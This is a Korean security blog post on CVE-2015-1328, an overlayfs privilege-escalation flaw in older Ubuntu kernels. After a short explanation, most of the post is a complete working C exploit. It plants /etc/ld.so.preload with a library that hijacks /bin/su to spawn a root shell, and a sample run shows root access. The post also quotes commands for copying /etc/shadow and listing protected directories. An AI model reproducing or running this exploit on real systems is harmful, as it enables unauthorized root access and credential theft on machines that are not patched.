| | at : |
Archive

[EXPLOIT] overlayfs local root exploit (CVE-2015-1328 / ubuntu kernels < 2015-06-15) 하훌 rwxr-xr-x 5 6/17/2015



[EXPLOIT] overlayfs local root exploit (CVE-2015-1328 / ubuntu kernels < 2015-06-15)

Permission rw-r--r--
Author 하훌
Date and Time 6/17/2015
Label
License 크리에이티브 커먼즈 라이선스


최근 케노니컬 사 홈페이지 및 Exploit-db 를 통해서 공유된 취약점입니다.
2015-1328은 Ubuntu 12.04, 14.04, 14.10, 15.04 등 6/15일 이전 커널에서 동작하며 overlayfs 를 사용할 때 권한 상승이 가능한 취약점이며 해당 취약점을 통해 공격자가 쉽게 관리자 권한(root) 획득이 가능합니다.

우분투에서 overlayfs 사용 중 상단 파일 시스템 디렉토리에서 파일 생성 시 overlayfs 가
파일 권한에 대해 제대로 확인하지 않아 발생합니다. FS_USERNS_MOUNT 플래그가 "CONFIG_USER_NS = y"를 가진 권한이 없는 프로세스에 의해 악용이 가능합니다.

1. Exploit Code


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

2. Run Exploit Code

hahwul# ./rootshell
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
#

-----------------------------------------------------------------------
Example of creating a 1:1 copy of a root-owned file:

(Note that the workdir= option is not needed on older kernels)

user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# mv shadow copy_of_shadow
(exit the namespace)
user () ubuntu-server-1504:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
user () ubuntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d      Inode: 939791      Links: 1
Device: 801h/2049d      Inode: 277668      Links: 1

Now we can place this file in /etc by switching "upper" to be the lowerdir
option, the permission checks pass since the file is owned by root and root
can write to /etc.

user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# chmod 777 copy_of_shadow
root () ubuntu-server-1504:~/o# exit
user () ubuntu-server-1504:~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow

The attached exploit gives a root shell by creating a world-writable
/etc/ld.so.preload file. The exploit has been tested on the most recent
kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04.

It is also possible to list directory contents for any directory on the system
regardless of permissions:

nobody () ubuntu-server-1504:~$ ls -al /root
ls: cannot open directory /root: Permission denied
nobody () ubuntu-server-1504:~$ mkdir o upper work
nobody () ubuntu-server-1504:~$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
nobody () ubuntu-server-1504:~$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ?    ?          ?            ? .bash_history
-????????? ? ?    ?          ?            ? .bashrc
d????????? ? ?    ?          ?            ? .cache
-????????? ? ?    ?          ?            ? .lesshst
d????????? ? ?    ?          ?            ? linux-3.19.0
(http://seclists.org/oss-sec/2015/q2/717)




Share







HAHWUL
HACKING | PENETRATION-TEST | CODING
HACKERONE : GIT : 0DAY-TODAY : EXPLOIT-DB : PACKETSTORM
GOOGLE+ | HAHWUL@GMAIL.COM | TWITTER
WWW.HAHWUL.COM




댓글 5개:

  1. 작성자가 댓글을 삭제했습니다.

    답글삭제
  2. Thank you good information (외국인 인척 하기ㅋㅋㅋ)

    답글삭제
  3. 위에껀 왜 지운거야 ㅋㅋ 다 보이는데 난

    답글삭제